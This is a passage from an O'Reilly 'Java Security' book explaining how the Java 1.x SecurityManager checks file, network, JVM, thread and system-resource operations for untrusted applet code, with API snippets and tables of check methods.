            FileReader fr = new FileReader(args[0]);
            BufferedReader br = new BufferedReader(fr);
            while ((s = br.readLine()) != null)
                System.out.println(s);
        } catch (Exception e) {
            System.out.println(e);
        }
    }
}

The FileReader object will in turn create a FileInputStream object, and constructing the input stream is the first step of the algorithm. When the input stream is constructed, the Java API performs code similar to this:

Class Definition

public FileInputStream(String name) throws FileNotFoundException {
    SecurityManager security = System.getSecurityManager();
    if (security != null) {
        security.checkRead(name);
    }
    try {
        open(name); // open() is a private method of this class
    } catch (IOException e) {
        throw new FileNotFoundException(name);
    }
}

This is step two of our algorithm and is the essence of the idea behind the security manager: when the Java API wants to perform an operation, it first checks with the security manager and then calls a private method (the open() method in this case) that actually performs the operation.

Meanwhile, the security manager code is responsible for deciding whether or not the file in question should be allowed to be read and, if not, for throwing a security exception:

Class Definition

public class SecurityManagerImpl extends SecurityManager {
    public void checkRead (String s) {
        if (theFileIsNotAllowedToBeRead)
            throw new SecurityException ("checkread");
    }
}

The SecurityException class is a subclass of the RuntimeException class. Remember that runtime exceptions are somewhat different than other exceptions in Java in that they do not have to be caught in the code--which is why the checkRead() method does not have to declare that it throws that exception, and the FileInputStream constructor does not have to catch it. So if the security exception is thrown by the checkRead() method, the FileInputStream constructor will return before it calls the open() method--which is simply to say that the input file will never be opened, because the security manager prevented that code from being executed.

Typically, the security exception propagates up through all the methods in the thread that made the call; eventually, the top-most method receives the exception, which causes that thread to exit. When the thread exits in this way, it prints out the exception and the stack trace of methods that led it to receive the exception. This leads to the messages that you've probably seen in your Java console:

Class Definition

sun.applet.AppletSecurityException: checkread
        at sun.applet.AppletSecurity.checkRead(AppletSecurity.java:427)
        at java.io.FileOutputStream.<init>(FileOutputStream.java)
        at Cat.init(Cat.java:7)
        at sun.applet.AppletPanel.run(AppletPanel.java:273)
        at java.lang.Thread.run(Thread.java)

If the security exception is not thrown--that is, if the security manager decides that the particular operation should be allowed--then the method in the security manager simply returns, and everything proceeds as expected.

Several methods in the SecurityManager class are similar to the checkRead() method. It is up to the Java API to call those methods at the appropriate time. You may want to call those methods from your own Java code (using the technique shown above), but that's never required. Since the Java API provides the interface to the virtual operating system for the Java program, it's possible to isolate all the necessary security checks within the Java API itself.

You Don't Know About All Security Violations

Since a violation of the rules of the security manager manifests itself as a security exception, it's possible to hide the attempted violation from the user running the program by catching that exception.

To portray this feature in a positive light, it allows the author of a Java program to provide a more intelligent program that might be delivered to an end user in different ways. If the program is delivered as an application, the author may want to save some state from the program in a file on the user's disk; if the program is delivered as an applet, the author will need to save that state by sending it to the web server. So the program might have code that looks like this:

Class Definition

OutputSteam os;
try {
        os = new FileOutputStream("statefile");
} catch (SecurityException e) {
        os = new Socket (webhost, webport).getOutputStream ();
}

Now the Java program has an appropriate output stream where it can save its data.

On the other hand, this technique can be used by the author of an applet to probe your browser's security manager without your knowledge--because the applet is catching the security exceptions, you'll never see them. This is one reason why it's important to understand the ramifications of adjusting your browser's security policy.

One exception to this guideline occurs when you extend the virtual operating system of the Java API, and it is important to ensure that your extensions are well-integrated into Java's security scheme. Certain parts of the Java API--the Toolkit class, the Provider class, the Socket class, and others--are written in such a way that they allow you to provide your own implementation of those classes. If you're providing your own implementation of any of these classes, you have to make sure that it calls the security manager at appropriate times.

It's important to note that there is (by design) no attempt in the Java API to keep any sort of state. Whenever the Java API needs to perform an operation, it checks with the security manager to see if the operation is to be allowed--even if that same operation has been permitted by the security manager before. This is because the context of the operation is often significant--the security manager might allow a FileOutputStream object to be opened in some cases (e.g., by certain classes) while it might deny it in other cases. The Java API cannot keep track of this contextual information, so it asks the security manager for permission to perform every operation.

Previous | Home | Next
3.7. Summary | Book Index | 4.2. Trusted and Untrusted Classes
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Trusted and Untrusted Classes (Java Security)

 Java Security Search this book

4.2. Trusted and Untrusted Classes

In the discussion that follows, we make the distinction between trusted and untrusted classes. Generally, an implementation of a security manager allows more operations for trusted classes than for untrusted classes. Whether or not a class is trusted is a complex decision based upon many factors--not the least of which is the release of Java under which the program is running. The default notion of what constitutes a trusted class has changed significantly between releases of Java:

  • In Java 1.0, a class that is loaded from the CLASSPATH is considered trusted, and a class that is loaded from a class loader is considered untrusted.

  • In Java 1.1, that same rule applies, but a class that is loaded from a JAR file may carry with it a digital signature that allows it to be given extra privileges.

  • In Java 1.2, a class that is loaded from the core API is considered trusted and may perform any operation it wants to. Otherwise, classes are (by default) given privileges based upon where they were loaded from, including if they were loaded from the CLASSPATH. However, this applies only when certain command-line arguments are present; in the default method of loading applications, items from the CLASSPATH are generally considered trusted.

Nothing inherent in the design of the security manager requires security to be enforced as an all-or-nothing proposition for each class. It's possible to write a security manager that gives access to certain parts of the filesystem only to certain classes (even classes that came from the network), or to write a security manager that prohibits classes loaded from the CLASSPATH from performing operations that are normally permitted to classes loaded from the filesystem. A security manager can be as simple or as sophisticated as its author desires, with the result that the security manager can enforce a simple binary yes-or-no policy for operations, or it can enforce a very specialized, very detailed policy. This is true of all security managers in all versions of Java, though as we'll see in Chapter 5, "The Access Controller", one of the prime benefits of Java 1.2 is that it makes it much easier to achieve fine-grained security policies.

However, even though a sophisticated security manager can enforce a very detailed security policy, most implementations of the security manager (especially implementations that occur within popular Java-enabled browsers) assume that a trusted class is one that has been loaded from the CLASSPATH, while an untrusted class is one that has been loaded from a class loader. Furthermore, trusted classes are normally permitted to perform any operation, while an untrusted class is normally subjected to the full extent of the provisions of the security manager.

This dichotomy is essentially the same as the one we normally make between applications and applets: since an application is loaded entirely through the CLASSPATH, all of its classes are considered trusted, and the application can perform any operation that it wants to. On the other hand, the classes that comprise an applet are generally loaded from the network; hence they are considered untrusted and denied any operation that has the potential to violate the browser's security policy.

Beginning with Java 1.1, this distinction became less clear (and Java 1.2 made it even fuzzier): classes now have the ability to be signed, and classes that are signed can be treated as trusted or untrusted. We discuss the rationale behind that idea in Chapter 7, "Introduction to Cryptography" and we fully explore signed classes in the last part of this book; for now, we'll just keep in mind that some classes are trusted and some are not.

Previous | Home | Next
4.1. Overview of the Security Manager | Book Index | 4.3. Using the Security Manager
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Using the Security Manager (Java Security)

 Java Security Search this book

4.3. Using the Security Manager

We're now going to examine the public methods of the security manager so that we may understand how the security manager is used by applications and by the Java API.

4.3.1. Setting a Security Manager

There are two methods in the System class that are used to work with the security manager itself:

public static SecurityManager getSecurityManager()

Return a reference to the currently installed security manager object (or null if no security manager is in place). Once obtained, this object can be used to test against various security policies.

public static void setSecurityManager(SecurityManager sm)

Set the system's security manager to the given object. This method can only be called once, and once installed, the security manager cannot be removed. Attempting to call this method after a security manger has already been installed will result in a SecurityException.

These methods operate with the understanding that there is a single security manager in the virtual machine; the only operations that are possible on the security manager are setting it (that is, creating an instance of the security manager class and telling the virtual machine that the newly created object should be the security manager), and getting it (that is, asking the virtual machine to return the object that is the security manager so that a method might be invoked upon it).

We've already seen how you might use the getSecurityManager() method to retrieve the security manager and invoke an operation on it. Setting the security manager is a predictably simple operation:

Class Definition

public class TestSecurityManager {
    public static void main(String args[]) {
        System.setSecurityManager(new SecurityManagerImpl());
                ...do the work of the application...
    }
}

However, there's an important detail here: the setSecurityManager() method is written in such a way that it can only be called once. Once a particular security manager has been installed, that security manager will be used by every other class that runs in this virtual machine. Once the policy is established, it cannot be changed (although the policy itself might be very fluid).

This fact has two important ramifications. First, as the author, it's up to you to write a security manager that embodies all the security policies you want your Java application to have. Second, in a Java-enabled browser, the security manager is always set as the browser initializes itself. This makes it impossible for an applet to set the security manager--it must live with the policy established by the author of the browser. This, of course, is a crucial feature of the security manager: since the security manager is responsible for fencing in the applet, it would be a catastrophe if the applet could change the security manager and hence the security policies of the browser.

The real significance of this last point, however, is that it is up to the developer of a browser to set the security policy. There is no absolute security policy that is common to every Java-enabled browser; each company that supports one is free to develop its own security manager and, accordingly, the security policies of that browser.

Now that we have an understanding of how the security manager works, we'll look into what protection the security manager actually provides. We'll discuss the public methods of the security manager that perform security checks and when those methods are called, along with the rationale behind each of the methods. Since these methods are all public, they can be called anywhere, including in your own code, although as we've mentioned, that's a rare thing.

When we discuss the rationale for each of the methods in the SecurityManager class, we'll discuss them from the point of view of untrusted classes. For now, consider an untrusted class as one loaded from the network (i.e., as part of an applet), while a trusted class is one that has been loaded from the filesystem through the user's CLASSPATH (including the classes that are part of the Java-enabled browser itself).

4.3.2. Methods Relating to File Access

The most well-known methods of the security manager class handle access to files on the local network. This includes any files that are on the local disk as well as files that might be physically located on another machine but appear (through the use of NFS, NetWare, Samba, or a similar network-based filesystem) to be part of the local filesystem.

These are the methods the security manager uses to track file access:

public void checkRead(FileDescriptor fd)
public void checkRead(String file)
public void checkRead(String file, Object context)

Check whether the program is allowed to read the given file. The last method in this list is not used by the Java API itself.

public void checkWrite(FileDescriptor fd)
public void checkWrite(String file)

Check whether the program is allowed to write the given file.

public void checkDelete(String file)

Check whether the program is allowed to delete the given file.

Interestingly, although as developers we tend to think of other file operations--such as creating a file or seeing when the file was last modified--as being distinct operations, as far as security is concerned, the Java API considers all operations to be either reading, writing, or deleting.

Table 4-1 lists the Java API interaction with the checkRead(), checkWrite(), and checkDelete() methods, listing when and why each check is invoked. In all the tables in this chapter, the syntax may imply that the calling methods are all static, but that of course is not the case: the entry File.canRead() means the canRead() method invoked on an instance of the File class.

This table lists only those classes that directly call the security manager method in question. There may be many routes through the Java API that lead to one of these checks; for example, when a FileReader object is constructed, it will construct a FileInputStream object, which will result in a call to checkRead().

Table 4-1. Check Methods

Method

Calling Methods

Rationale

Class Definition

checkRead()

Class Definition

File.canRead()

Test if the current thread can read the file

Class Definition

FileInputStream()
RandomAccessFile()

Constructing a file object requires that you must be able to read the file

Class Definition

Class Definition

File.isDirectory()
File.isFile()

Determining whether a file object is an actual file or a directory
requires that you must be able to read the file

Class Definition

Class Definition

File.lastModified()

Determining the modification date requires that you read the
file's attributes

Class Definition

Class Definition

File.length()

Determining the length requires that you read the files attributes

Class Definition

Class Definition

File.list()

Determining the files in a directory requires that you read the
directory

Class Definition

checkWrite()

Class Definition

File.canWrite()

Test if the current thread can write the file

Class Definition

Class Definition

FileOutputStream()
RandomAccessFile()

To construct a file object, you must be able to write the file

Class Definition

Class Definition

File.mkdir()

To create a directory, you must be able to write to the filesystem

Class Definition

Class Definition

File.renameTo()

To rename a file, you must be able to write to the directory
containing the file

Class Definition

File.createTemp-File()   figure

To create a temporary file, you must be able to write the
file

Class Definition

checkDelete()

Class Definition

File.delete()

Test if the current thread can delete a file

Class Definition

File.deleteOnExit()   figure

Test if the current thread can delete the file when the virtual
machine exits

By default, in most Java-enabled browsers, untrusted classes are not
allowed any sort of file access, for these reasons:

  •

    If an untrusted class is allowed to read an arbitrary file, it might
read your password file, or the data file from your tax preparation
program, or the temporary file containing an edit log of the
sensitive document you're working on.

    •

  •

    If an untrusted class is allowed to write an arbitrary file, it might
overwrite data on your machine, essentially erasing the file. Worse,
it might insert a virus into an existing file (or create a new file
with a virus), with catastrophic results. Less damaging, but still a
problem, would be the ability for the applet to completely fill the
available disk space.

    •

  •

    If an untrusted class is allowed to delete files, it could destroy
any data in your local filesystem.

    •

The Real Reason Applets Cannot Access Files

If you're a Java developer chafing
at the restriction that an applet cannot access the user's
local files, you're missing one of the points of developing in
Java. The real reason your applet can't access local files is
that there may not be any: what if your applet is being run on a
network computer or a Java-enabled TV webtop? If your applet requires
a local disk, it will be unable to run on the next generation of
computing devices. Java is leading-edge technology; if you're
riding the next wave, you may as well take full advantage of
it--there is a wealth of middleware Java tools that will allow
you to easily read and write files from and to a remote web server or
file server.

Some Java developers consider this strict restriction on file access
unnecessarily draconian--they'd seek a compromise where at
least some access to some local files is possible. The types of
suggested compromises are things like:

  •

    Untrusted classes should be allowed access to the system's
temporary directory.

    The problem with this is that other programs might have left
sensitive data in that directory. If I'm editing salary data on
my machine, I wouldn't want some untrusted class to come along
and see the edit log that exists in the system's temporary
directory.

    •

  •

    A single directory could be set up for the exclusive use of untrusted
classes.

    This does not prevent a bad untrusted class from accessing, erasing,
or corrupting the data files of other untrusted programs.

    •

  •

    An individual directory could be set up for each applet (or for each
package of untrusted classes).

    This would work in theory, but such a scheme would be unwieldy. It
also leaves potential attack routes for an applet. On the Internet,
one site can pretend to be another site by engaging in IP spoofing
(see the discussion in Section 4.1, "The Need for Authentication" in Chapter 7, "Introduction to Cryptography"); applets from such sites could read data from the original applet.
In addition, an applet could still fill the available disk space.

    •

  •

    The user could be prompted before an untrusted class accessed a file.

    This issue is less black-and-white. On the one hand, there's a
persuasive argument that computer users are pretty intelligent, and
they'll know whether or not a program should be allowed to
access the file in question. In the real world, however, there are
users who will not pay enough attention to such prompts and always
grant access, to the detriment of their system's security. You
may not have much sympathy for users on home computers who grant an
applet access to the data file of their financial package, but the
user on a corporate or campus network who allows an applet access to
his or her password file harms other users of the network as
well.

    •

Nonetheless, as with all policies enforced by the security manager,
it is up to the author of a particular program (or web browser) to
establish the policy the security manager will enforce. Hence, while
Netscape Navigator, Internet Explorer, and HotJava all have a default
policy that prevents untrusted classes from all file access, some of
them allow the user to configure a different policy. HotJava and the
JDK's appletviewer, for example, allow the
user to create a set of directories in which applets can read and
write files, and some versions of Internet Explorer allow the user to
grant file access to all untrusted classes.

There is one exception to the rule about file access: applets that
are loaded from a CODEBASE that specifies
file as its protocol (e.g.,
file:/myapplets) are allowed to read (but not
create or delete) files in the CODEBASE
directory (and any of its subdirectories). This is required to allow
the applet to load other resources--audio files, images, as well
as other classes--in the same manner in which it would load
those resources through an HTTP-based URL.

If you carefully considered the list of methods in the tables above,
you were probably surprised not to see an obvious method to check:
the actual read() or
write() methods of any of the
File classes. The assumption here is that a
trusted class is responsible for determining the security policy
associated with any particular File object; if
the trusted class decides that it is okay for an untrusted class to
perform I/O on a particular File*Stream object,
then it is free to deliver that object to the untrusted class, and
the untrusted class is free to read or write to that object. This
implementation also allows for much greater efficiency: if the
program had to check with the security manager every time it called
the read() or write()
methods, I/O performance would drastically suffer.

4.3.3. Methods Relating to Network Access

Network
access in Java is always accomplished by opening a network socket,
whether directly through the Socket class or
indirectly through another class like the URL
class. An untrusted class can only (by default)
open a socket to the machine from which it was actually downloaded;
typically, this is the location given by the
CODEBASE tag in the HTML for the browser page
containing the applet or--in the absence of such a tag--the
web server for the page. In either case, the machine in question is a
web server, so we'll use that terminology in this discussion.

This restriction on untrusted
classes is designed to prevent two types of attack. The first attack
concerns a rogue applet using your machine for malicious purposes by
connecting to a third machine over the network. The canonical
description of this attack is an applet that connects to the mail
server on someone else's machine and sends people on that
machine offensive email from your address. There are more severe
attacks possible with this technique, however--such an applet
could use a connection from your machine to break into a third
computer; auditors on that third computer will think the break-in
attempts are coming from you, which can cause you all sorts of legal
problems.

The second sort of attack concerns network information on your local
network that you might not want to be broadcast to the world at
large. Typically, computers at corporations or campuses sit behind a
firewall so that users on the Internet cannot access those computers
(see Figure 4-1). The firewall allows only certain
types of traffic through (e.g., HTTP traffic), so that users on the
local network can access the Internet, but users on the Internet
cannot glean any information about the local network.

Figure 4-1. A typical firewall configuration

Now consider what happens if an applet downloaded onto a machine on
the local network can connect to other machines on the local network.
This allows the applet to gather all sorts of information about the
local network topology and network services and to send that
information (via HTTP, so that it will pass through the firewall)
back out onto the Internet. Such an opportunity for corporate spying
would be very tempting to would-be hackers. Worse, if the applet had
access to arbitrary network services, it could break into the local
HR database and steal employee data, or it could break into a network
file server and steal corporate documents. Hence, applets (and
untrusted classes in general) are prevented from arbitrary network
access.

The Real Reason Why Network Access Is Limited

Just when you realized that your applet couldn't access files
in the new network computing model and thus had to send all its data
over the network comes this restriction of limited network access.

But even if this restriction didn't exist in Java, the
configuration of many sites dictates a harsher restriction for
network access anyway--the corporate or campus firewall. The
firewall often restricts all traffic between the applet's web
server and the user's browser to a set of protocols and,
possibly, a set of hosts. If you're going to write really
effective network applets with Java, you have to take this into
account anyway--which means that all your network access really
needs to use something called

HTTP-tunneling to work.

HTTP-tunneling means that all requests between the applet and the
network service running on the web server are encapsulated to look
like normal HTTP (web browsing) traffic. This allows the data to go
through firewalls that filter out traffic based on protocol. And by
only connecting back to the web server, the data will pass through
firewalls that filter out traffic based on the destination. There are
a variety of well-known techniques for accomplishing HTTP-tunneling
via the URL class, and RMI gives you such tunneling transparently.

So, once again, if you're going to write applets that take
advantage of the full power of Java, Java's network security
restrictions won't get in your way--you'll have
worked around them anyway.

Network sockets can be logically divided into two classes:
client
sockets and server sockets. A client socket is responsible for
initiating a conversation with an existing server socket; server
sockets sit idle waiting for these requests to come from client
sockets. Untrusted classes are often restricted from creating server
sockets. Normally, this is not a problem: since an applet can only
talk to its web server, it could only answer requests from that
machine--and the applet can already open a connection to that
machine at will; there's no algorithmic or logistic reason why
an operation between the applet and the web server cannot always
start with the applet as the client. In situations where the applet
is allowed to open client sockets to other machines, however, this
reasoning doesn't apply, and the ability to create a server
socket is often granted in such situations (and, sometimes, in all
situations).

The security manager uses the following methods to check network
access:

public void
checkConnect(String host, int port)

public void checkConnect(String host, int port, Object context)

Check if the program can open a client socket to the given port on
the given host. The second form of this method is never called
directly from the Java API.

public void
checkListen(int port)

Check if the program can create a server socket that is listening on
the given port.

public void
checkAccept(String host, int port)

Check if the program can accept (on an existing server socket) a
client connection that originated from the given host and port.

public void
checkMulticast(InetAddress addr)

public void checkMulticast(InetAddress addr, byte ttl)

Check if the program can create a multicast socket at the given
multicast address (optionally with the given time-to-live value).

public void

checkSetFactory()

Check if the program can change the default socket implementation.
When the Socket class is used to create a
socket, it gets a new socket from the socket factory, which typically
supplies a standard TCP-based socket. However, a socket factory could
be used to supply SSL-based sockets, or any other socket variant.

The instances where these methods are used and the rationale for such
uses are shown in Table 4-2.

Table 4-2. Security Manager Methods to Protect Network Access

Method

Called by

Rationale

Class Definition

checkConnect()

Class Definition

DatagramSocket.send()
DatagramSocket.receive()   figure
MulticastSocket.send()
Socket()

Test if the untrusted class can create a client-side connection

Class Definition

checkConnect()

Class Definition

DatagramSocket.getLocalAddress()
InetAddress.getHostName()
InetAddress.getLocalHost()
InetAddress.getAllByName()

Test if the untrusted class can see any hosts on the local network

Class Definition

checkListen()

Class Definition

DatagramSocket()
MulticastSocket()
ServerSocket()

Test if the untrusted class can create a server-side socket

Class Definition

checkMulticast()

Class Definition

DatagramSocket.send()
DatagramSocket.receive()
MulticastSocket.send()
MulticastSocket.receive()
MulticastSocket.joinGroup()
MulticastSocket.leaveGroup()

Test if the untrusted class can operate on a multicast socket

Class Definition

checkAccept()

Class Definition

ServerSocket.accept()
DatagramSocket.receive()   figure

Test if the untrusted class can accept a server connection

Class Definition

checkSetFactory()

Class Definition

ServerSocket.setSocketFactory()
Socket.setSocketFactory()
URL.setURLStreamHandlerFactory()
URLConnection.setContentHandlerFactory()
RMI.setSocketFactory()

Test if the untrusted class can alter the manner in which all sockets
are created

checkSetFactory()

HttpURLConnection.setFollowRedirects()

Test if the untrusted class can change redirection behavior

Some notes are in order. As in the case with file access, these
methods sometimes check operations that are logically different from
a programming view, but are essentially the same thing at a system
view. Hence, the checkConnect() method not only
checks the opening of a socket but also the retrieval of hostname or
address information (on the theory that to know the name of a host,
you need to be able to open a socket to that host). This last test
may seem somewhat odd--under what circumstances, you might
wonder, should an untrusted class not be able to know the name or
address of the machine on which it is running? Recall that we want to
prevent the outside world from knowing our network topology; this
includes the name and address of the user's machine as
well.[3]

[3]On the other hand, there's a good chance
that the outside web server already knows that information, since our
browser sent along a hostname and other information when it retrieved
the file to begin with. If our request passed through a firewall or
proxy server, there's a chance that some of this information
was prevented from passing to the outside web server, but
that's not necessarily the case either.

There was a change in the default security policy supplied in 1.0 and
in 1.1 with respect to untrusted classes and server sockets (either
instances of class ServerSocket or datagram
sockets that received data from any source). In 1.0, untrusted
classes were typically not allowed to create a server socket at all,
which meant that the checkListen() and
checkAccept() methods always threw a security
exception when an applet attempted such an operation. In 1.1 and
later, untrusted classes are allowed to create a server socket so
long as the port number of that socket is greater than the privileged
port number on the machine (typically 1024). Note too that the
receive() method of the
DatagramSocket class in 1.2 now calls the
checkAccept() rather than the
checkConnect() method.

Some applet publishers consider it to
be very inconvenient to have to put both the applet and any network
services that the applet requires on the same machine (the
applet's web server). When you're configuring a network
of machines, it certainly is more natural to have a database server
that is separate from the web server; the scaling and flexibility
that such separation gives is the cornerstone of network computing.
Hence, an applet that is running on the browser shown in Figure 4-2 would consider it more convenient to access
the database server directly. Sites with this configuration may
therefore attempt to convince you to adjust your browser's
network connection policy so their applet will work in this
multitiered environment.

Figure 4-2. An untrusted class cannot directly connect to the database server

However, it's relatively trivial for applet publishers to set
up a proxy
service on their web server that forwards requests to the third
machine, so that the applet only connects to the web server while the
proxy service can connect to the third machine (e.g., the database
server). Such a configuration may not be ideal--there's
still a lot of traffic on the web server going through the
proxy--but it's an effective compromise.

The requirement to use a proxy should not prove onerous to
developers, either; it's common for network software providers
to deliver such proxies with their Java code. Many JDBC-driver
vendors, for example, provide such a proxy HTTP server that their
JDBC drivers can access. Writing a simple proxy from scratch for
other services is well within the grasp of good Java programmers.

Nonetheless, if in your view the reward of reduced network traffic
outweighs the security considerations behind preventing arbitrary
network access by untrusted classes, the Sun browsers (HotJava and
appletviewer) and some versions of Internet
Explorer allow you to configure them so that untrusted classes can
connect to any host on the network.

The
checkSetFactory() method of the security manager class is
responsible for arbitrating the use of several low-level aspects of
Java's network classes. Most of the tests made by this method
have to do with whether or not the untrusted class is allowed to
create some variety of socket factory. Socket factories are
classes that are responsible for creating sockets that implement a
particular interface while having a nonstandard feature: for example,
a Java server might want to encrypt all of its traffic, so it would
create and install a socket factory that creates only SSL-enabled
sockets. Predictably, untrusted classes cannot change the socket
factory in use.

This method is also used to determine whether the Java program will
automatically follow redirect messages when opening a URL. When a
Java program opens a URL, the server to which it is connected may
send back a redirect response (an HTTP response code of 3xx). Often,
browsers follow these redirects transparently to the user; in Java,
the programmer has the ability to determine if the redirection should
automatically be followed or not. An untrusted class is not able to
change whether redirection is on or off. The
HttpURLConnection class that uses this method is abstract,
so the actual behavior of this class may be overridden in a
particular implementation.

4.3.4. Methods Protecting the Java Virtual Machine

There are a number of methods in the
SecurityManager class that protect the integrity
of the Java virtual machine and the security manager. These methods
fence in untrusted classes so that they cannot circumvent the
protections of the security manager and the Java API itself. These
methods are summarized in Table 4-3.

Table 4-3.  Security Manager Methods Protecting the Virtual Machine

Method

Called by

Rationale

Class Definition

checkCreateClassLoader()

Class Definition

ClassLoader()

Class loaders are protected since they provide information to the
security manager

Class Definition

checkExec()

Class Definition

Runtime.exec()

Other processes might damage the user's machine

Class Definition

checkExec()

Class Definition

System.setIn()   figure
System.setOut()   figure
System.setErr()   figure

Don't let important messages be redirected away from the user

Class Definition

checkLink()

Class Definition

Runtime.load()
Runtime.loadLibrary()

Don't let untrusted code import native code

Class Definition

checkExit()

Class Definition

Runtime.exit()

Don't let untrusted code halt the virtual machine

Class Definition

checkExit()

Class Definition

Runtime.runFinalizers-OnExit()

Don't let untrusted code change if finalizers are run

Class Definition

checkPermission()   figure

many

See if the current thread has been granted a particular permission

public void checkCreateClassLoader()

The distinction we keep mentioning between trusted and untrusted
classes is often based on the location from which the class was
loaded (i.e., if the class came from the filesystem or from the
network). As a result, the class loader we examined in Chapter 3, "Java Class Loaders" takes on an important role, since the security
manager must ask the class loader where a particular class came from.
The class loader is also responsible for marking certain classes as
signed classes. Hence, an untrusted class is typically not allowed to
create a class loader. This method is only called by the constructor
of the ClassLoader class: if you can create a
class loader (or if you obtain a reference to a previously created
class loader), you can use it.

public void checkExec(String cmd)

This method is used to prevent execution of arbitrary system commands
by untrusted classes--an untrusted class cannot, for example,
execute a separate process that removes all the files on your
disk.[4] In addition, this method is used to test whether a Java
program is able to redirect the standard input, output, or error
streams to another source--with the predictable result that
untrusted classes are not allowed to perform such redirection.

[4]The separate process would not need to be
written in Java, of course, so there would be no security manager
around to enforce the prohibition about deleting files.

In Java 1.2, this method is no longer used to determine whether the
standard streams may be redirected. Redirection of those streams in
1.2 is determined instead by the
checkPermission() method.

public void checkLink(String lib)

System commands aren't the only code that is out of reach of
the security manager--any native (C language) code that is
executed by the virtual machine cannot be protected by the security
manager (or, in fact, by any aspect of the Java sandbox). Native code
is executed by linking a shared library into the virtual machine;
this method prevents an untrusted class from linking in such
libraries.

It may seem as if this check is very important. It is, but only to a
point: the programmatic binding from Java to C is such that Java code
cannot just call an arbitrary C function--the C function must
have a very specialized name that will not exist in an arbitrary
library. So any C function that the untrusted class would like to
call must reside in a library that you've downloaded and placed
on your machine--and if the program's author can convince
you to do that, then you don't really have a secure system
anyway, and the author could find a different line of attack against
you.

public void checkExit(int status)

Next, there is the continuing processing of the virtual machine
itself. This method prevents an untrusted class from shutting down
the virtual machine. This method also prevents an untrusted class
from changing whether or not all finalizers are run when the virtual
machine does exit. This means that an untrusted class--and in
particular, an applet--cannot guarantee that all the finalize
methods of all the objects will be called before the system exits
(which cannot be guaranteed in any case, since the browser can be
terminated from the operating system without an opportunity to run
the finalizers anyway).

public void checkPermission(Permission p)   figure

public void checkPermission(Permission p, Object context)   figure

Check to see if the current thread has the given permission. This
method is at the heart of the access controller, which we'll
explain in Chapter 5, "The Access Controller", where we'll also list
when it is called. The second form of this method is never used by
the Java API. The default for untrusted classes is to be given only a
few explicit permissions, which we'll also list in Chapter 5, "The Access Controller".

4.3.5. Methods Protecting Program Threads

Java depends heavily
on threads for its execution; in a simple Java program that uses
images and audio, there may be a dozen or more threads that are
created automatically for the user (depending on the particular
implementation of the VM). These are system-level threads responsible
for garbage collection, the various input and output needs of the
graphical interface, threads to fetch images, etc. An untrusted class
cannot manipulate any of these threads, because doing so would
prevent the Java virtual machine from running properly, affecting
other applets and possible even the browser itself.

The security manager protects threads with these methods:

public void
checkAccess(Thread g)

Check if the program is allowed to change the state of the given
thread.

public void checkAccess(ThreadGroup g)

Check if the program is allowed to change the state of the given
thread group (and the threads that it holds).

public ThreadGroup
getThreadGroup()

Supply a default thread group for newly created threads to belong to.

Table 4-4 shows the methods of the Java API that
are affected by the policy set in the
checkAccess() methods.

Table 4-4. Security Manager Methods Protecting Thread Access

Method

Called by

Rationale

Class Definition

checkAccess(Thread g)

Class Definition

Thread.stop()
Thread.interrupt()
Thread.suspend()
Thread.resume()
Thread.setPriority()
Thread.setName()
Thread.setDaemon()
Thread.setClassLoader()   figure
Thread()

Untrusted classes may only manipulate threads that they have created

Class Definition

checkAccess(ThreadGroup g)

Class Definition

ThreadGroup()
ThreadGroup.setDaemon()
ThreadGroup.setMaxPriority()
ThreadGroup.stop()
ThreadGroup.suspend()
ThreadGroup.resume()
ThreadGroup.destroy()
ThreadGroup.interrupt()   figure

Untrusted classes can only affect thread groups that they have created

Class Definition

getThreadGroup()

Class Definition

Thread()

Threads of untrusted classes must belong to specified groups

Class Definition

checkPermission(Permission p)

Class Definition

Thread.stop()   figure

Stopping a thread could corrupt state of the virtual machine.

Most of the rationale behind these methods is straightforward: an
untrusted class can manipulate its own threads, and it can manipulate
threads that are in its thread group. This prevents an untrusted
class from suspending the threads responsible for loading images; for
example, those threads were not created by the untrusted class, and
so the untrusted class cannot affect them.

Threads
in a Java program are organized into a hierarchy (see Figure 4-3). In theory, the policy of the security
manager should also apply to this hierarchy such that threads may
only manipulate threads that are below them in the hierarchy. Hence,
the calculating thread really should not be able to manipulate the
state of the I/O reading thread--regardless of whether the
calculating thread is executing trusted code or untrusted code.
Similarly, the processing thread ought to be able to manipulate the
state of the I/O reading thread even if the code to do so is in an
untrusted class, since that implies that the untrusted class created
the processing thread and the I/O thread anyway.

Figure 4-3. A Java thread hierarchy

In practice, however, it does not work that way in Java 1.1: in that
release, by default each applet is given an individual thread group,
and the threads within that group can manipulate other threads within
that group without respect to any hierarchy. In Java 1.2, the default
is for the thread hierarchy to operate as expected.

Unlike the other public methods of the security manager, the
getThreadGroup() method is not responsible for
deciding whether access to a particular resource should be granted or
not, and it does not throw a security exception under any
circumstances. The point of this method is to determine the default
thread group that a particular thread should belong to. When a thread
is constructed and does not ask to be placed into a particular thread
group, the getThreadGroup() method of the
security manager is used to find a thread group to which the thread
should be assigned. By default, this is the thread group of the
calling thread, but a security manager can implement different logic
so that the thread hierarchy we've described above becomes
possible.

The getThreadGroup() method is only present in
Java 1.1 and subsequent releases. In Java 1.0 (and browsers built on
that release), thread security was generally non-existent: any thread
could manipulate the state of any other thread, and applets
weren't able to create their own thread groups. This additional
method provided the infrastructure by which security managers built
in Java 1.1 and later releases can implement the security policy that
we've described here.

In 1.2 the Thread class also calls the
checkPermission() method of the security manager
whenever the stop() method is called, since
stopping a thread is an inherently dangerous operation (which has led
the stop() method to become deprecated). For
backward compatibility, this permission is normally granted even to
untrusted classes, but an end user may change her environment so that
the security manager throws an exception whenever the
stop() method is called.

4.3.6. Methods Protecting System Resources

The Java-enabled browser has access to
certain system-level resources to which untrusted classes should not
be granted access. The next set of methods (outlined in Table 4-5) in the SecurityManager
class handles those system-level resources.

Table 4-5. Security Manager Protections of System Resources

Method

Called by

Rationale

Class Definition

checkPrintJobAccess()

Class Definition

Toolkit.getPrintJob()[5]

Untrusted classes can't initiate print jobs

Class Definition

checkSystemClipboardAccess()

Class Definition

Toolkit.getSystemClipboard()

Untrusted classes can't read the system clipboard

Class Definition

checkAwtEventQueueAccess()

Class Definition

EventQueue.getEventQueue()

Untrusted classes can't manipulate window events

Class Definition

checkPropertiesAccess()

Class Definition

System.getProperties()
System.setProperties()

Untrusted classes can't see or set system properties

Class Definition

checkPropertyAccess()

Class Definition

System.getProperty()

Untrusted classes can't get a particular system property

Class Definition

checkPropertyAccess()

Class Definition

Locale.setDefault()

Can't change the locale unless the
